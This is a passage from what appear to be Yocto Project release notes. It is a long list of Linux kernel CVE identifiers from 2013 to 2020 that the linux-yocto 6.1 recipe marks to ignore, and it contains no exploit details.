:cve:`2013-2930`, :cve:`2013-3076`, :cve:`2013-3222`, :cve:`2013-3223`, :cve:`2013-3224`, :cve:`2013-3225`, :cve:`2013-3226`, :cve:`2013-3227`, :cve:`2013-3228`, :cve:`2013-3229`, :cve:`2013-3230`, :cve:`2013-3231`, :cve:`2013-3232`, :cve:`2013-3233`, :cve:`2013-3234`, :cve:`2013-3235`, :cve:`2013-3236`, :cve:`2013-3237`, :cve:`2013-3301`, :cve:`2013-3302`, :cve:`2013-4125`, :cve:`2013-4127`, :cve:`2013-4129`, :cve:`2013-4162`, :cve:`2013-4163`, :cve:`2013-4205`, :cve:`2013-4220`, :cve:`2013-4247`, :cve:`2013-4254`, :cve:`2013-4270`, :cve:`2013-4299`, :cve:`2013-4300`, :cve:`2013-4312`, :cve:`2013-4343`, :cve:`2013-4345`, :cve:`2013-4348`, :cve:`2013-4350`, :cve:`2013-4387`, :cve:`2013-4470`, :cve:`2013-4483`, :cve:`2013-4511`, :cve:`2013-4512`, :cve:`2013-4513`, :cve:`2013-4514`, :cve:`2013-4515`, :cve:`2013-4516`, :cve:`2013-4563`, :cve:`2013-4579`, :cve:`2013-4587`, :cve:`2013-4588`, :cve:`2013-4591`, :cve:`2013-4592`, :cve:`2013-5634`, :cve:`2013-6282`, :cve:`2013-6367`, :cve:`2013-6368`, :cve:`2013-6376`, :cve:`2013-6378`, :cve:`2013-6380`, :cve:`2013-6381`, :cve:`2013-6382`, :cve:`2013-6383`, :cve:`2013-6431`, :cve:`2013-6432`, :cve:`2013-6885`, :cve:`2013-7026`, :cve:`2013-7027`, :cve:`2013-7263`, :cve:`2013-7264`, :cve:`2013-7265`, :cve:`2013-7266`, :cve:`2013-7267`, :cve:`2013-7268`, :cve:`2013-7269`, :cve:`2013-7270`, :cve:`2013-7271`, :cve:`2013-7281`, :cve:`2013-7339`, :cve:`2013-7348`, :cve:`2013-7421`, :cve:`2013-7446`, :cve:`2013-7470`, :cve:`2014-0038`, :cve:`2014-0049`, :cve:`2014-0055`, :cve:`2014-0069`, :cve:`2014-0077`, :cve:`2014-0100`, :cve:`2014-0101`, :cve:`2014-0102`, :cve:`2014-0131`, :cve:`2014-0155`, :cve:`2014-0181`, :cve:`2014-0196`, :cve:`2014-0203`, :cve:`2014-0205`, :cve:`2014-0206`, :cve:`2014-1438`, :cve:`2014-1444`, :cve:`2014-1445`, :cve:`2014-1446`, :cve:`2014-1690`, :cve:`2014-1737`, :cve:`2014-1738`, :cve:`2014-1739`, :cve:`2014-1874`, :cve:`2014-2038`, :cve:`2014-2039`, :cve:`2014-2309`, :cve:`2014-2523`, :cve:`2014-2568`, :cve:`2014-2580`, :cve:`2014-2672`, :cve:`2014-2673`, :cve:`2014-2678`, :cve:`2014-2706`, :cve:`2014-2739`, :cve:`2014-2851`, :cve:`2014-2889`, :cve:`2014-3122`, :cve:`2014-3144`, :cve:`2014-3145`, :cve:`2014-3153`, :cve:`2014-3180`, :cve:`2014-3181`, :cve:`2014-3182`, :cve:`2014-3183`, :cve:`2014-3184`, :cve:`2014-3185`, :cve:`2014-3186`, :cve:`2014-3534`, :cve:`2014-3535`, :cve:`2014-3601`, :cve:`2014-3610`, :cve:`2014-3611`, :cve:`2014-3631`, :cve:`2014-3645`, :cve:`2014-3646`, :cve:`2014-3647`, :cve:`2014-3673`, :cve:`2014-3687`, :cve:`2014-3688`, :cve:`2014-3690`, :cve:`2014-3917`, :cve:`2014-3940`, :cve:`2014-4014`, :cve:`2014-4027`, :cve:`2014-4157`, :cve:`2014-4171`, :cve:`2014-4508`, :cve:`2014-4608`, :cve:`2014-4611`, :cve:`2014-4652`, :cve:`2014-4653`, :cve:`2014-4654`, :cve:`2014-4655`, :cve:`2014-4656`, :cve:`2014-4667`, :cve:`2014-4699`, :cve:`2014-4943`, :cve:`2014-5045`, :cve:`2014-5077`, :cve:`2014-5206`, :cve:`2014-5207`, :cve:`2014-5471`, :cve:`2014-5472`, :cve:`2014-6410`, :cve:`2014-6416`, :cve:`2014-6417`, :cve:`2014-6418`, :cve:`2014-7145`, :cve:`2014-7283`, :cve:`2014-7284`, :cve:`2014-7822`, :cve:`2014-7825`, :cve:`2014-7826`, :cve:`2014-7841`, :cve:`2014-7842`, :cve:`2014-7843`, :cve:`2014-7970`, :cve:`2014-7975`, :cve:`2014-8086`, :cve:`2014-8133`, :cve:`2014-8134`, :cve:`2014-8159`, :cve:`2014-8160`, :cve:`2014-8171`, :cve:`2014-8172`, :cve:`2014-8173`, :cve:`2014-8369`, :cve:`2014-8480`, :cve:`2014-8481`, :cve:`2014-8559`, :cve:`2014-8709`, :cve:`2014-8884`, :cve:`2014-8989`, :cve:`2014-9090`, :cve:`2014-9322`, :cve:`2014-9419`, :cve:`2014-9420`, :cve:`2014-9428`, :cve:`2014-9529`, :cve:`2014-9584`, :cve:`2014-9585`, :cve:`2014-9644`, :cve:`2014-9683`, :cve:`2014-9710`, :cve:`2014-9715`, :cve:`2014-9717`, :cve:`2014-9728`, :cve:`2014-9729`, :cve:`2014-9730`, :cve:`2014-9731`, :cve:`2014-9803`, :cve:`2014-9870`, :cve:`2014-9888`, :cve:`2014-9895`, :cve:`2014-9903`, :cve:`2014-9904`, :cve:`2014-9914`, :cve:`2014-9922`, :cve:`2014-9940`, :cve:`2015-0239`, :cve:`2015-0274`, :cve:`2015-0275`, :cve:`2015-1333`, :cve:`2015-1339`, :cve:`2015-1350`, :cve:`2015-1420`, :cve:`2015-1421`, :cve:`2015-1465`, :cve:`2015-1573`, :cve:`2015-1593`, :cve:`2015-1805`, :cve:`2015-2041`, :cve:`2015-2042`, :cve:`2015-2150`, :cve:`2015-2666`, :cve:`2015-2672`, :cve:`2015-2686`, :cve:`2015-2830`, :cve:`2015-2922`, :cve:`2015-2925`, :cve:`2015-3212`, :cve:`2015-3214`, :cve:`2015-3288`, :cve:`2015-3290`, :cve:`2015-3291`, :cve:`2015-3331`, :cve:`2015-3339`, :cve:`2015-3636`, :cve:`2015-4001`, :cve:`2015-4002`, :cve:`2015-4003`, :cve:`2015-4004`, :cve:`2015-4036`, :cve:`2015-4167`, :cve:`2015-4170`, :cve:`2015-4176`, :cve:`2015-4177`, :cve:`2015-4178`, :cve:`2015-4692`, :cve:`2015-4700`, :cve:`2015-5156`, :cve:`2015-5157`, :cve:`2015-5257`, :cve:`2015-5283`, :cve:`2015-5307`, :cve:`2015-5327`, :cve:`2015-5364`, :cve:`2015-5366`, :cve:`2015-5697`, :cve:`2015-5706`, :cve:`2015-5707`, :cve:`2015-6252`, :cve:`2015-6526`, :cve:`2015-6937`, :cve:`2015-7509`, :cve:`2015-7513`, :cve:`2015-7515`, :cve:`2015-7550`, :cve:`2015-7566`, :cve:`2015-7613`, :cve:`2015-7799`, :cve:`2015-7833`, :cve:`2015-7872`, :cve:`2015-7884`, :cve:`2015-7885`, :cve:`2015-7990`, :cve:`2015-8104`, :cve:`2015-8215`, :cve:`2015-8324`, :cve:`2015-8374`, :cve:`2015-8539`, :cve:`2015-8543`, :cve:`2015-8550`, :cve:`2015-8551`, :cve:`2015-8552`, :cve:`2015-8553`, :cve:`2015-8569`, :cve:`2015-8575`, :cve:`2015-8660`, :cve:`2015-8709`, :cve:`2015-8746`, :cve:`2015-8767`, :cve:`2015-8785`, :cve:`2015-8787`, :cve:`2015-8812`, :cve:`2015-8816`, :cve:`2015-8830`, :cve:`2015-8839`, :cve:`2015-8844`, :cve:`2015-8845`, :cve:`2015-8950`, :cve:`2015-8952`, :cve:`2015-8953`, :cve:`2015-8955`, :cve:`2015-8956`, :cve:`2015-8961`, :cve:`2015-8962`, :cve:`2015-8963`, :cve:`2015-8964`, :cve:`2015-8966`, :cve:`2015-8967`, :cve:`2015-8970`, :cve:`2015-9004`, :cve:`2015-9016`, :cve:`2015-9289`, :cve:`2016-0617`, :cve:`2016-0723`, :cve:`2016-0728`, :cve:`2016-0758`, :cve:`2016-0821`, :cve:`2016-0823`, :cve:`2016-10044`, :cve:`2016-10088`, :cve:`2016-10147`, :cve:`2016-10150`, :cve:`2016-10153`, :cve:`2016-10154`, :cve:`2016-10200`, :cve:`2016-10208`, :cve:`2016-10229`, :cve:`2016-10318`, :cve:`2016-10723`, :cve:`2016-10741`, :cve:`2016-10764`, :cve:`2016-10905`, :cve:`2016-10906`, :cve:`2016-10907`, :cve:`2016-1237`, :cve:`2016-1575`, :cve:`2016-1576`, :cve:`2016-1583`, :cve:`2016-2053`, :cve:`2016-2069`, :cve:`2016-2070`, :cve:`2016-2085`, :cve:`2016-2117`, :cve:`2016-2143`, :cve:`2016-2184`, :cve:`2016-2185`, :cve:`2016-2186`, :cve:`2016-2187`, :cve:`2016-2188`, :cve:`2016-2383`, :cve:`2016-2384`, :cve:`2016-2543`, :cve:`2016-2544`, :cve:`2016-2545`, :cve:`2016-2546`, :cve:`2016-2547`, :cve:`2016-2548`, :cve:`2016-2549`, :cve:`2016-2550`, :cve:`2016-2782`, :cve:`2016-2847`, :cve:`2016-3044`, :cve:`2016-3070`, :cve:`2016-3134`, :cve:`2016-3135`, :cve:`2016-3136`, :cve:`2016-3137`, :cve:`2016-3138`, :cve:`2016-3139`, :cve:`2016-3140`, :cve:`2016-3156`, :cve:`2016-3157`, :cve:`2016-3672`, :cve:`2016-3689`, :cve:`2016-3713`, :cve:`2016-3841`, :cve:`2016-3857`, :cve:`2016-3951`, :cve:`2016-3955`, :cve:`2016-3961`, :cve:`2016-4440`, :cve:`2016-4470`, :cve:`2016-4482`, :cve:`2016-4485`, :cve:`2016-4486`, :cve:`2016-4557`, :cve:`2016-4558`, :cve:`2016-4565`, :cve:`2016-4568`, :cve:`2016-4569`, :cve:`2016-4578`, :cve:`2016-4580`, :cve:`2016-4581`, :cve:`2016-4794`, :cve:`2016-4805`, :cve:`2016-4913`, :cve:`2016-4951`, :cve:`2016-4997`, :cve:`2016-4998`, :cve:`2016-5195`, :cve:`2016-5243`, :cve:`2016-5244`, :cve:`2016-5400`, :cve:`2016-5412`, :cve:`2016-5696`, :cve:`2016-5728`, :cve:`2016-5828`, :cve:`2016-5829`, :cve:`2016-6130`, :cve:`2016-6136`, :cve:`2016-6156`, :cve:`2016-6162`, :cve:`2016-6187`, :cve:`2016-6197`, :cve:`2016-6198`, :cve:`2016-6213`, :cve:`2016-6327`, :cve:`2016-6480`, :cve:`2016-6516`, :cve:`2016-6786`, :cve:`2016-6787`, :cve:`2016-6828`, :cve:`2016-7039`, :cve:`2016-7042`, :cve:`2016-7097`, :cve:`2016-7117`, :cve:`2016-7425`, :cve:`2016-7910`, :cve:`2016-7911`, :cve:`2016-7912`, :cve:`2016-7913`, :cve:`2016-7914`, :cve:`2016-7915`, :cve:`2016-7916`, :cve:`2016-7917`, :cve:`2016-8399`, :cve:`2016-8405`, :cve:`2016-8630`, :cve:`2016-8632`, :cve:`2016-8633`, :cve:`2016-8636`, :cve:`2016-8645`, :cve:`2016-8646`, :cve:`2016-8650`, :cve:`2016-8655`, :cve:`2016-8658`, :cve:`2016-8666`, :cve:`2016-9083`, :cve:`2016-9084`, :cve:`2016-9120`, :cve:`2016-9178`, :cve:`2016-9191`, :cve:`2016-9313`, :cve:`2016-9555`, :cve:`2016-9576`, :cve:`2016-9588`, :cve:`2016-9604`, :cve:`2016-9685`, :cve:`2016-9754`, :cve:`2016-9755`, :cve:`2016-9756`, :cve:`2016-9777`, :cve:`2016-9793`, :cve:`2016-9794`, :cve:`2016-9806`, :cve:`2016-9919`, :cve:`2017-0605`, :cve:`2017-0627`, :cve:`2017-0750`, :cve:`2017-0786`, :cve:`2017-0861`, :cve:`2017-1000`, :cve:`2017-1000111`, :cve:`2017-1000112`, :cve:`2017-1000251`, :cve:`2017-1000252`, :cve:`2017-1000253`, :cve:`2017-1000255`, :cve:`2017-1000363`, :cve:`2017-1000364`, :cve:`2017-1000365`, :cve:`2017-1000370`, :cve:`2017-1000371`, :cve:`2017-1000379`, :cve:`2017-1000380`, :cve:`2017-1000405`, :cve:`2017-1000407`, :cve:`2017-1000410`, :cve:`2017-10661`, :cve:`2017-10662`, :cve:`2017-10663`, :cve:`2017-10810`, :cve:`2017-10911`, :cve:`2017-11089`, :cve:`2017-11176`, :cve:`2017-11472`, :cve:`2017-11473`, :cve:`2017-11600`, :cve:`2017-12134`, :cve:`2017-12146`, :cve:`2017-12153`, :cve:`2017-12154`, :cve:`2017-12168`, :cve:`2017-12188`, :cve:`2017-12190`, :cve:`2017-12192`, :cve:`2017-12193`, :cve:`2017-12762`, :cve:`2017-13080`, :cve:`2017-13166`, :cve:`2017-13167`, :cve:`2017-13168`, :cve:`2017-13215`, :cve:`2017-13216`, :cve:`2017-13220`, :cve:`2017-13305`, :cve:`2017-13686`, :cve:`2017-13695`, :cve:`2017-13715`, :cve:`2017-14051`, :cve:`2017-14106`, :cve:`2017-14140`, :cve:`2017-14156`, :cve:`2017-14340`, :cve:`2017-14489`, :cve:`2017-14497`, :cve:`2017-14954`, :cve:`2017-14991`, :cve:`2017-15102`, :cve:`2017-15115`, :cve:`2017-15116`, :cve:`2017-15121`, :cve:`2017-15126`, :cve:`2017-15127`, :cve:`2017-15128`, :cve:`2017-15129`, :cve:`2017-15265`, :cve:`2017-15274`, :cve:`2017-15299`, :cve:`2017-15306`, :cve:`2017-15537`, :cve:`2017-15649`, :cve:`2017-15868`, :cve:`2017-15951`, :cve:`2017-16525`, :cve:`2017-16526`, :cve:`2017-16527`, :cve:`2017-16528`, :cve:`2017-16529`, :cve:`2017-16530`, :cve:`2017-16531`, :cve:`2017-16532`, :cve:`2017-16533`, :cve:`2017-16534`, :cve:`2017-16535`, :cve:`2017-16536`, :cve:`2017-16537`, :cve:`2017-16538`, :cve:`2017-16643`, :cve:`2017-16644`, :cve:`2017-16645`, :cve:`2017-16646`, :cve:`2017-16647`, :cve:`2017-16648`, :cve:`2017-16649`, :cve:`2017-16650`, :cve:`2017-16911`, :cve:`2017-16912`, :cve:`2017-16913`, :cve:`2017-16914`, :cve:`2017-16939`, :cve:`2017-16994`, :cve:`2017-16995`, :cve:`2017-16996`, :cve:`2017-17052`, :cve:`2017-17053`, :cve:`2017-17448`, :cve:`2017-17449`, :cve:`2017-17450`, :cve:`2017-17558`, :cve:`2017-17712`, :cve:`2017-17741`, :cve:`2017-17805`, :cve:`2017-17806`, :cve:`2017-17807`, :cve:`2017-17852`, :cve:`2017-17853`, :cve:`2017-17854`, :cve:`2017-17855`, :cve:`2017-17856`, :cve:`2017-17857`, :cve:`2017-17862`, :cve:`2017-17863`, :cve:`2017-17864`, :cve:`2017-17975`, :cve:`2017-18017`, :cve:`2017-18075`, :cve:`2017-18079`, :cve:`2017-18174`, :cve:`2017-18193`, :cve:`2017-18200`, :cve:`2017-18202`, :cve:`2017-18203`, :cve:`2017-18204`, :cve:`2017-18208`, :cve:`2017-18216`, :cve:`2017-18218`, :cve:`2017-18221`, :cve:`2017-18222`, :cve:`2017-18224`, :cve:`2017-18232`, :cve:`2017-18241`, :cve:`2017-18249`, :cve:`2017-18255`, :cve:`2017-18257`, :cve:`2017-18261`, :cve:`2017-18270`, :cve:`2017-18344`, :cve:`2017-18360`, :cve:`2017-18379`, :cve:`2017-18509`, :cve:`2017-18549`, :cve:`2017-18550`, :cve:`2017-18551`, :cve:`2017-18552`, :cve:`2017-18595`, :cve:`2017-2583`, :cve:`2017-2584`, :cve:`2017-2596`, :cve:`2017-2618`, :cve:`2017-2634`, :cve:`2017-2636`, :cve:`2017-2647`, :cve:`2017-2671`, :cve:`2017-5123`, :cve:`2017-5546`, :cve:`2017-5547`, :cve:`2017-5548`, :cve:`2017-5549`, :cve:`2017-5550`, :cve:`2017-5551`, :cve:`2017-5576`, :cve:`2017-5577`, :cve:`2017-5669`, :cve:`2017-5715`, :cve:`2017-5753`, :cve:`2017-5754`, :cve:`2017-5897`, :cve:`2017-5967`, :cve:`2017-5970`, :cve:`2017-5972`, :cve:`2017-5986`, :cve:`2017-6001`, :cve:`2017-6074`, :cve:`2017-6214`, :cve:`2017-6345`, :cve:`2017-6346`, :cve:`2017-6347`, :cve:`2017-6348`, :cve:`2017-6353`, :cve:`2017-6874`, :cve:`2017-6951`, :cve:`2017-7184`, :cve:`2017-7187`, :cve:`2017-7261`, :cve:`2017-7273`, :cve:`2017-7277`, :cve:`2017-7294`, :cve:`2017-7308`, :cve:`2017-7346`, :cve:`2017-7374`, :cve:`2017-7472`, :cve:`2017-7477`, :cve:`2017-7482`, :cve:`2017-7487`, :cve:`2017-7495`, :cve:`2017-7518`, :cve:`2017-7533`, :cve:`2017-7541`, :cve:`2017-7542`, :cve:`2017-7558`, :cve:`2017-7616`, :cve:`2017-7618`, :cve:`2017-7645`, :cve:`2017-7889`, :cve:`2017-7895`, :cve:`2017-7979`, :cve:`2017-8061`, :cve:`2017-8062`, :cve:`2017-8063`, :cve:`2017-8064`, :cve:`2017-8065`, :cve:`2017-8066`, :cve:`2017-8067`, :cve:`2017-8068`, :cve:`2017-8069`, :cve:`2017-8070`, :cve:`2017-8071`, :cve:`2017-8072`, :cve:`2017-8106`, :cve:`2017-8240`, :cve:`2017-8797`, :cve:`2017-8824`, :cve:`2017-8831`, :cve:`2017-8890`, :cve:`2017-8924`, :cve:`2017-8925`, :cve:`2017-9059`, :cve:`2017-9074`, :cve:`2017-9075`, :cve:`2017-9076`, :cve:`2017-9077`, :cve:`2017-9150`, :cve:`2017-9211`, :cve:`2017-9242`, :cve:`2017-9605`, :cve:`2017-9725`, :cve:`2017-9984`, :cve:`2017-9985`, :cve:`2017-9986`, :cve:`2018-1000004`, :cve:`2018-1000026`, :cve:`2018-1000028`, :cve:`2018-1000199`, :cve:`2018-1000200`, :cve:`2018-1000204`, :cve:`2018-10021`, :cve:`2018-10074`, :cve:`2018-10087`, :cve:`2018-10124`, :cve:`2018-10322`, :cve:`2018-10323`, :cve:`2018-1065`, :cve:`2018-1066`, :cve:`2018-10675`, :cve:`2018-1068`, :cve:`2018-10840`, :cve:`2018-10853`, :cve:`2018-1087`, :cve:`2018-10876`, :cve:`2018-10877`, :cve:`2018-10878`, :cve:`2018-10879`, :cve:`2018-10880`, :cve:`2018-10881`, :cve:`2018-10882`, :cve:`2018-10883`, :cve:`2018-10901`, :cve:`2018-10902`, :cve:`2018-1091`, :cve:`2018-1092`, :cve:`2018-1093`, :cve:`2018-10938`, :cve:`2018-1094`, :cve:`2018-10940`, :cve:`2018-1095`, :cve:`2018-1108`, :cve:`2018-1118`, :cve:`2018-1120`, :cve:`2018-11232`, :cve:`2018-1128`, :cve:`2018-1129`, :cve:`2018-1130`, :cve:`2018-11412`, :cve:`2018-11506`, :cve:`2018-11508`, :cve:`2018-12126`, :cve:`2018-12127`, :cve:`2018-12130`, :cve:`2018-12207`, :cve:`2018-12232`, :cve:`2018-12233`, :cve:`2018-12633`, :cve:`2018-12714`, :cve:`2018-12896`, :cve:`2018-12904`, :cve:`2018-13053`, :cve:`2018-13093`, :cve:`2018-13094`, :cve:`2018-13095`, :cve:`2018-13096`, :cve:`2018-13097`, :cve:`2018-13098`, :cve:`2018-13099`, :cve:`2018-13100`, :cve:`2018-13405`, :cve:`2018-13406`, :cve:`2018-14609`, :cve:`2018-14610`, :cve:`2018-14611`, :cve:`2018-14612`, :cve:`2018-14613`, :cve:`2018-14614`, :cve:`2018-14615`, :cve:`2018-14616`, :cve:`2018-14617`, :cve:`2018-14619`, :cve:`2018-14625`, :cve:`2018-14633`, :cve:`2018-14634`, :cve:`2018-14641`, :cve:`2018-14646`, :cve:`2018-14656`, :cve:`2018-14678`, :cve:`2018-14734`, :cve:`2018-15471`, :cve:`2018-15572`, :cve:`2018-15594`, :cve:`2018-16276`, :cve:`2018-16597`, :cve:`2018-16658`, :cve:`2018-16862`, :cve:`2018-16871`, :cve:`2018-16880`, :cve:`2018-16882`, :cve:`2018-16884`, :cve:`2018-17182`, :cve:`2018-17972`, :cve:`2018-18021`, :cve:`2018-18281`, :cve:`2018-18386`, :cve:`2018-18397`, :cve:`2018-18445`, :cve:`2018-18559`, :cve:`2018-18690`, :cve:`2018-18710`, :cve:`2018-18955`, :cve:`2018-19406`, :cve:`2018-19407`, :cve:`2018-19824`, :cve:`2018-19854`, :cve:`2018-19985`, :cve:`2018-20169`, :cve:`2018-20449`, :cve:`2018-20509`, :cve:`2018-20510`, :cve:`2018-20511`, :cve:`2018-20669`, :cve:`2018-20784`, :cve:`2018-20836`, :cve:`2018-20854`, :cve:`2018-20855`, :cve:`2018-20856`, :cve:`2018-20961`, :cve:`2018-20976`, :cve:`2018-21008`, :cve:`2018-25015`, :cve:`2018-25020`, :cve:`2018-3620`, :cve:`2018-3639`, :cve:`2018-3646`, :cve:`2018-3665`, :cve:`2018-3693`, :cve:`2018-5332`, :cve:`2018-5333`, :cve:`2018-5344`, :cve:`2018-5390`, :cve:`2018-5391`, :cve:`2018-5703`, :cve:`2018-5750`, :cve:`2018-5803`, :cve:`2018-5814`, :cve:`2018-5848`, :cve:`2018-5873`, :cve:`2018-5953`, :cve:`2018-5995`, :cve:`2018-6412`, :cve:`2018-6554`, :cve:`2018-6555`, :cve:`2018-6927`, :cve:`2018-7191`, :cve:`2018-7273`, :cve:`2018-7480`, :cve:`2018-7492`, :cve:`2018-7566`, :cve:`2018-7740`, :cve:`2018-7754`, :cve:`2018-7755`, :cve:`2018-7757`, :cve:`2018-7995`, :cve:`2018-8043`, :cve_mitre:`2018-8087`, :cve_mitre:`2018-8781`, :cve_mitre:`2018-8822`, :cve_mitre:`2018-8897`, :cve_mitre:`2018-9363`, :cve_mitre:`2018-9385`, :cve_mitre:`2018-9415`, :cve_mitre:`2018-9422`, :cve_mitre:`2018-9465`, :cve_mitre:`2018-9516`, :cve_mitre:`2018-9517`, :cve_mitre:`2018-9518` and :cve_mitre:`2018-9568`
+- linux-yocto/6.1 (Continued): Ignore :cve:`2019-0136`, :cve:`2019-0145`, :cve:`2019-0146`, :cve:`2019-0147`, :cve:`2019-0148`, :cve:`2019-0149`, :cve:`2019-0154`, :cve:`2019-0155`, :cve:`2019-10124`, :cve:`2019-10125`, :cve:`2019-10126`, :cve:`2019-10142`, :cve:`2019-10207`, :cve:`2019-10220`, :cve:`2019-10638`, :cve:`2019-10639`, :cve:`2019-11085`, :cve:`2019-11091`, :cve:`2019-11135`, :cve:`2019-11190`, :cve:`2019-11191`, :cve:`2019-1125`, :cve:`2019-11477`, :cve:`2019-11478`, :cve:`2019-11479`, :cve:`2019-11486`, :cve:`2019-11487`, :cve:`2019-11599`, :cve:`2019-11683`, :cve:`2019-11810`, :cve:`2019-11811`, :cve:`2019-11815`, :cve:`2019-11833`, :cve:`2019-11884`, :cve:`2019-12378`, :cve:`2019-12379`, :cve:`2019-12380`, :cve:`2019-12381`, :cve:`2019-12382`, :cve:`2019-12454`, :cve:`2019-12455`, :cve:`2019-12614`, :cve:`2019-12615`, :cve:`2019-12817`, :cve:`2019-12818`, :cve:`2019-12819`, :cve:`2019-12881`, :cve:`2019-12984`, :cve:`2019-13233`, :cve:`2019-13272`, :cve:`2019-13631`, :cve:`2019-13648`, :cve:`2019-14283`, :cve:`2019-14284`, :cve:`2019-14615`, :cve:`2019-14763`, :cve:`2019-14814`, :cve:`2019-14815`, :cve:`2019-14816`, :cve:`2019-14821`, :cve:`2019-14835`, :cve:`2019-14895`, :cve:`2019-14896`, :cve:`2019-14897`, :cve:`2019-14901`, :cve:`2019-15030`, :cve:`2019-15031`, :cve:`2019-15090`, :cve:`2019-15098`, :cve:`2019-15099`, :cve:`2019-15117`, :cve:`2019-15118`, :cve:`2019-15211`, :cve:`2019-15212`, :cve:`2019-15213`, :cve:`2019-15214`, :cve:`2019-15215`, :cve:`2019-15216`, :cve:`2019-15217`, :cve:`2019-15218`, :cve:`2019-15219`, :cve:`2019-15220`, :cve:`2019-15221`, :cve:`2019-15222`, :cve:`2019-15223`, :cve:`2019-15291`, :cve:`2019-15292`, :cve:`2019-15504`, :cve:`2019-15505`, :cve:`2019-15538`, :cve:`2019-15666`, :cve:`2019-15794`, :cve:`2019-15807`, :cve:`2019-15916`, :cve:`2019-15917`, :cve:`2019-15918`, :cve:`2019-15919`, :cve:`2019-15920`, :cve:`2019-15921`, :cve:`2019-15922`, :cve:`2019-15923`, :cve:`2019-15924`, :cve:`2019-15925`, :cve:`2019-15926`, :cve:`2019-15927`, :cve:`2019-16229`, :cve:`2019-16230`, :cve:`2019-16231`, :cve:`2019-16232`, :cve:`2019-16233`, :cve:`2019-16234`, :cve:`2019-16413`, :cve:`2019-16714`, :cve:`2019-16746`, :cve:`2019-16921`, :cve:`2019-16994`, :cve:`2019-16995`, :cve:`2019-17052`, :cve:`2019-17053`, :cve:`2019-17054`, :cve:`2019-17055`, :cve:`2019-17056`, :cve:`2019-17075`, :cve:`2019-17133`, :cve:`2019-17351`, :cve:`2019-17666`, :cve:`2019-18198`, :cve:`2019-18282`, :cve:`2019-18660`, :cve:`2019-18675`, :cve:`2019-18683`, :cve:`2019-18786`, :cve:`2019-18805`, :cve:`2019-18806`, :cve:`2019-18807`, :cve:`2019-18808`, :cve:`2019-18809`, :cve:`2019-18810`, :cve:`2019-18811`, :cve:`2019-18812`, :cve:`2019-18813`, :cve:`2019-18814`, :cve:`2019-18885`, :cve:`2019-19036`, :cve:`2019-19037`, :cve:`2019-19039`, :cve:`2019-19043`, :cve:`2019-19044`, :cve:`2019-19045`, :cve:`2019-19046`, :cve:`2019-19047`, :cve:`2019-19048`, :cve:`2019-19049`, :cve:`2019-19050`, :cve:`2019-19051`, :cve:`2019-19052`, :cve:`2019-19053`, :cve:`2019-19054`, :cve:`2019-19055`, :cve:`2019-19056`, :cve:`2019-19057`, :cve:`2019-19058`, :cve:`2019-19059`, :cve:`2019-19060`, :cve:`2019-19061`, :cve:`2019-19062`, :cve:`2019-19063`, :cve:`2019-19064`, :cve:`2019-19065`, :cve:`2019-19066`, :cve:`2019-19067`, :cve:`2019-19068`, :cve:`2019-19069`, :cve:`2019-19070`, :cve:`2019-19071`, :cve:`2019-19072`, :cve:`2019-19073`, :cve:`2019-19074`, :cve:`2019-19075`, :cve:`2019-19076`, :cve:`2019-19077`, :cve:`2019-19078`, :cve:`2019-19079`, :cve:`2019-19080`, :cve:`2019-19081`, :cve:`2019-19082`, :cve:`2019-19083`, :cve:`2019-19227`, :cve:`2019-19241`, :cve:`2019-19252`, :cve:`2019-19318`, :cve:`2019-19319`, :cve:`2019-19332`, :cve:`2019-19338`, :cve:`2019-19377`, :cve:`2019-19447`, :cve:`2019-19448`, :cve:`2019-19449`, :cve:`2019-19462`, :cve:`2019-19523`, :cve:`2019-19524`, :cve:`2019-19525`, :cve:`2019-19526`, :cve:`2019-19527`, :cve:`2019-19528`, :cve:`2019-19529`, :cve:`2019-19530`, :cve:`2019-19531`, :cve:`2019-19532`, :cve:`2019-19533`, :cve:`2019-19534`, :cve:`2019-19535`, :cve:`2019-19536`, :cve:`2019-19537`, :cve:`2019-19543`, :cve:`2019-19602`, :cve:`2019-19767`, :cve:`2019-19768`, :cve:`2019-19769`, :cve:`2019-19770`, :cve:`2019-19807`, :cve:`2019-19813`, :cve:`2019-19815`, :cve:`2019-19816`, :cve:`2019-19922`, :cve:`2019-19927`, :cve:`2019-19947`, :cve:`2019-19965`, :cve:`2019-19966`, :cve:`2019-1999`, :cve:`2019-20054`, :cve:`2019-20095`, :cve:`2019-20096`, :cve:`2019-2024`, :cve:`2019-2025`, :cve:`2019-20422`, :cve:`2019-2054`, :cve:`2019-20636`, :cve:`2019-20806`, :cve:`2019-20810`, :cve:`2019-20811`, :cve:`2019-20812`, :cve:`2019-20908`, :cve:`2019-20934`, :cve:`2019-2101`, :cve:`2019-2181`, :cve:`2019-2182`, :cve:`2019-2213`, :cve:`2019-2214`, :cve:`2019-2215`, :cve:`2019-25044`, :cve:`2019-25045`, :cve:`2019-3016`, :cve:`2019-3459`, :cve:`2019-3460`, :cve:`2019-3701`, :cve:`2019-3819`, :cve:`2019-3837`, :cve:`2019-3846`, :cve:`2019-3874`, :cve:`2019-3882`, :cve:`2019-3887`, :cve:`2019-3892`, :cve:`2019-3896`, :cve:`2019-3900`, :cve:`2019-3901`, :cve:`2019-5108`, :cve:`2019-6133`, :cve:`2019-6974`, :cve:`2019-7221`, :cve:`2019-7222`, :cve:`2019-7308`, :cve:`2019-8912`, :cve:`2019-8956`, :cve:`2019-8980`, :cve:`2019-9003`, :cve:`2019-9162`, :cve:`2019-9213`, :cve:`2019-9245`, :cve:`2019-9444`, :cve:`2019-9445`, :cve:`2019-9453`, :cve:`2019-9454`, :cve:`2019-9455`, :cve:`2019-9456`, :cve:`2019-9457`, :cve:`2019-9458`, :cve:`2019-9466`, :cve:`2019-9500`, :cve:`2019-9503`, :cve:`2019-9506`, :cve:`2019-9857`, :cve:`2020-0009`, :cve:`2020-0030`, :cve:`2020-0041`, :cve:`2020-0066`, :cve:`2020-0067`, :cve:`2020-0110`, :cve:`2020-0255`, :cve:`2020-0305`, :cve:`2020-0404`, :cve:`2020-0423`, :cve:`2020-0427`, :cve:`2020-0429`, :cve:`2020-0430`, :cve:`2020-0431`, :cve:`2020-0432`, :cve:`2020-0433`, :cve:`2020-0435`, :cve:`2020-0444`, :cve:`2020-0465`, :cve:`2020-0466`, :cve:`2020-0543`, :cve:`2020-10135`, :cve:`2020-10690`, :cve:`2020-10711`, :cve:`2020-10720`, :cve:`2020-10732`, :cve:`2020-10742`, :cve:`2020-10751`, :cve:`2020-10757`, :cve:`2020-10766`, :cve:`2020-10767`, :cve:`2020-10768`, :cve:`2020-10769`, :cve:`2020-10773`, :cve:`2020-10781`, :cve:`2020-10942`, :cve:`2020-11494`, :cve:`2020-11565`, :cve:`2020-11608`, 